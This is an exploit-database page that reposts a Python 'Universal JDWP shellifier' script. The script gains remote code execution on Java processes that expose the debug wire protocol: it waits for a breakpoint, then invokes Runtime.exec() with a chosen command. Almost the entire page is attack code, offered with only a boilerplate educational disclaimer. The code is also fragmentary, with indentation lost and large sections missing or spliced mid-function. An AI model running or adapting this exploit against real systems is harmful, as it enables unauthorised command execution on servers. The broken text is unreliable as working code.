Exploits / Vulnerability Discovered : 2016-12-20 |
Type : remote |
Platform : java
This exploit / vulnerability Java debug wire protocol (jdwp) remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/python
################################################################################
#
# Universal JDWP shellifier
#
# @_hugsy_
#
# And special cheers to @lanjelot
#
for i in range(nb_entries):
data = {}
for fmt, name in formats:
if fmt == "L" or fmt == 8:
data[name] = int(struct.unpack(">Q",buf[index:index+8]) [0])
index += 8
elif fmt == "I" or fmt == 4:
data[name] = int(struct.unpack(">I", buf[index:index+4])[0])
index += 4
elif fmt == 'S':
l = struct.unpack(">I", buf[index:index+4])[0]
data[name] = buf[index+4:index+4+l]
index += 4+l
elif fmt == 'C':
data[name] = ord(struct.unpack(">c", buf[index])[0])
index += 1
elif fmt == 'Z':
t = ord(struct.unpack(">c", buf[index])[0])
if t == 115:
s = self.solve_string(buf[index+1:index+9])
data[name] = s
index+=9
elif t == 73:
data[name] = struct.unpack(">I", buf[index+1:index+5])[0]
buf = struct.unpack(">I", buf[index+5:index+9])
index=0
else:
print "Error"
sys.exit(1)
entries.append( data )
return entries
def format(self, fmt, value):
if fmt == "L" or fmt == 8:
return struct.pack(">Q", value)
elif fmt == "I" or fmt == 4:
return struct.pack(">I", value)
def get_thread_by_name(self, name):
self.allthreads()
for t in self.threads:
threadId = self.format(self.objectIDSize, t["threadId"])
self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) )
buf = self.read_reply()
if len(buf) and name == self.readstring(buf):
return t
return None
def get_method_by_name(self, name):
for refId in self.methods.keys():
for entry in self.methods[refId]:
if entry["name"].lower() == name.lower() :
return entry
return None
# 1. get Runtime class reference
runtimeClass = jdwp.get_class_by_name("Ljava/lang/Runtime;")
if runtimeClass is None:
print ("[-] Cannot find class Runtime")
return False
print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"])
# 2. get getRuntime() meth reference
jdwp.get_methods(runtimeClass["refTypeId"])
getRuntimeMeth = jdwp.get_method_by_name("getRuntime")
if getRuntimeMeth is None:
print ("[-] Cannot find method Runtime.getRuntime()")
return False
print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"])
# 3. setup breakpoint on frequently called method
c = jdwp.get_class_by_name( args.break_on_class )
if c is None:
print("[-] Could not access class '%s'" % args.break_on_class)
print("[-] It is possible that this class is not used by application")
print("[-] Test with another one with option `--break-on`")
return False
jdwp.get_methods( c["refTypeId"] )
m = jdwp.get_method_by_name( args.break_on_method )
if m is None:
print("[-] Could not access method '%s'" % args.break_on)
return False
print ("[+] Waiting for an event on '%s'" % args.break_on)
while True:
buf = jdwp.wait_for_event()
ret = jdwp.parse_event_breakpoint(buf, rId)
if ret is not None:
break
rId, tId, loc = ret
print ("[+] Received matching event from thread %#x" % tId)
jdwp.clear_event(EVENT_BREAKPOINT, rId)
# 5. Now we can execute any code
if args.cmd:
runtime_exec_payload(jdwp, tId, runtimeClass["refTypeId"], getRuntimeMeth["methodId"], args.cmd)
else:
# by default, only prints out few system properties
runtime_exec_info(jdwp, tId)
jdwp.resumevm()
print ("[!] Command successfully executed")
return True
def runtime_exec_info(jdwp, threadId):
#
# This function calls java.lang.System.getProperties() and
# displays OS properties (non-intrusive)
#
properties = {"java.version": "Java Runtime Environment version",
"java.vendor": "Java Runtime Environment vendor",
"java.vendor.url": "Java vendor URL",
"java.home": "Java installation directory",
"java.vm.specification.version": "Java Virtual Machine specification version",
"java.vm.specification.vendor": "Java Virtual Machine specification vendor",
"java.vm.specification.name": "Java Virtual Machine specification name",
"java.vm.version": "Java Virtual Machine implementation version",
"java.vm.vendor": "Java Virtual Machine implementation vendor",
"java.vm.name": "Java Virtual Machine implementation name",
"java.specification.version": "Java Runtime Environment specification version",
"java.specification.vendor": "Java Runtime Environment specification vendor",
"java.specification.name": "Java Runtime Environment specification name",
"java.class.version": "Java class format version number",
"java.class.path": "Java class path",
"java.library.path": "List of paths to search when loading libraries",
"java.io.tmpdir": "Default temp file path",
"java.compiler": "Name of JIT compiler to use",
"java.ext.dirs": "Path of extension directory or directories",
"os.name": "Operating system name",
"os.arch": "Operating system architecture",
"os.version": "Operating system version",
"file.separator": "File separator",
"path.separator": "Path separator",
"user.name": "User's account name",
"user.home": "User's home directory",
"user.dir": "User's current working directory"
}
systemClass = jdwp.get_class_by_name("Ljava/lang/System;")
if systemClass is None:
print ("[-] Cannot find class java.lang.System")
return False
jdwp.get_methods(systemClass["refTypeId"])
getPropertyMeth = jdwp.get_method_by_name("getProperty")
if getPropertyMeth is None:
print ("[-] Cannot find method System.getProperty()")
return False
for propStr, propDesc in properties.iteritems():
propObjIds = jdwp.createstring(propStr)
if len(propObjIds) == 0:
print ("[-] Failed to allocate command")
return False
propObjId = propObjIds[0]["objId"]
data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, propObjId), ]
buf = jdwp.invokestatic(systemClass["refTypeId"],
threadId,
getPropertyMeth["methodId"],
*data)
if buf[0] != chr(TAG_STRING):
print ("[-] %s: Unexpected returned type: expecting String" % propStr)
else:
retId = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
res = cli.solve_string(jdwp.format(jdwp.objectIDSize, retId))
print ("[+] Found %s '%s'" % (propDesc, res))
return True
def runtime_exec_payload(jdwp, threadId, runtimeClassId, getRuntimeMethId, command):
#
# This function will invoke command as a payload, which will be running
# with JVM privilege on host (intrusive).
#
print ("[+] Selected payload '%s'" % command)
# 1. allocating string containing our command to exec()
cmdObjIds = jdwp.createstring( command )
if len(cmdObjIds) == 0:
print ("[-] Failed to allocate command")
return False
cmdObjId = cmdObjIds[0]["objId"]
print ("[+] Command string object created id:%x" % cmdObjId)
# 2. use context to get Runtime object
buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1+jdwp.objectIDSize])
if rt is None:
print "[-] Failed to invoke Runtime.getRuntime()"
return False
print ("[+] Runtime.getRuntime() returned context id:%#x" % rt)
# 3. find exec() method
execMeth = jdwp.get_method_by_name("exec")
if execMeth is None:
print ("[-] Cannot find method Runtime.exec()")
return False
print ("[+] found Runtime.exec(): id=%x" % execMeth["methodId"])
# 4. call exec() in this context with the alloc-ed string
data = [ chr(TAG_OBJECT) + jdwp.format(jdwp.objectIDSize, cmdObjId) ]
buf = jdwp.invoke(rt, threadId, runtimeClassId, execMeth["methodId"], *data)
if buf[0] != chr(TAG_OBJECT):
print ("[-] Unexpected returned type: expecting Object")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_",
formatter_class=argparse.ArgumentDefaultsHelpFormatter )